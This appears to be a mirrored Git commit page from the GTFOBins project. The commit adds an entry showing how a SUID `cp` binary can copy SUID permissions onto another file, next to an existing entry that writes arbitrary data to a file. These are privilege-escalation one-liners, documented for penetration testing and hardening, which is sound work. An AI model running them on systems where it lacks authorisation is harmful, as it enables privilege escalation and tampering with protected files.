mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-11-08 15:59:17 +01:00
Add cp suid
This commit is contained in:
parent
7c9c505542
commit
cfe0a0c300
@ -18,6 +18,10 @@ functions:
|
||||
TF=$(mktemp)
|
||||
echo "DATA" > $TF
|
||||
./cp $TF $LFILE
|
||||
- description: This can copy SUID permissions from any SUID binary (e.g., `cp` itself) to another.
|
||||
code: |
|
||||
LFILE=file_to_change
|
||||
./cp --attributes-only --preserve=all ./cp "$LFILE"
|
||||
sudo:
|
||||
- code: |
|
||||
LFILE=file_to_write
|
||||
|
Loading…
Reference in New Issue
Block a user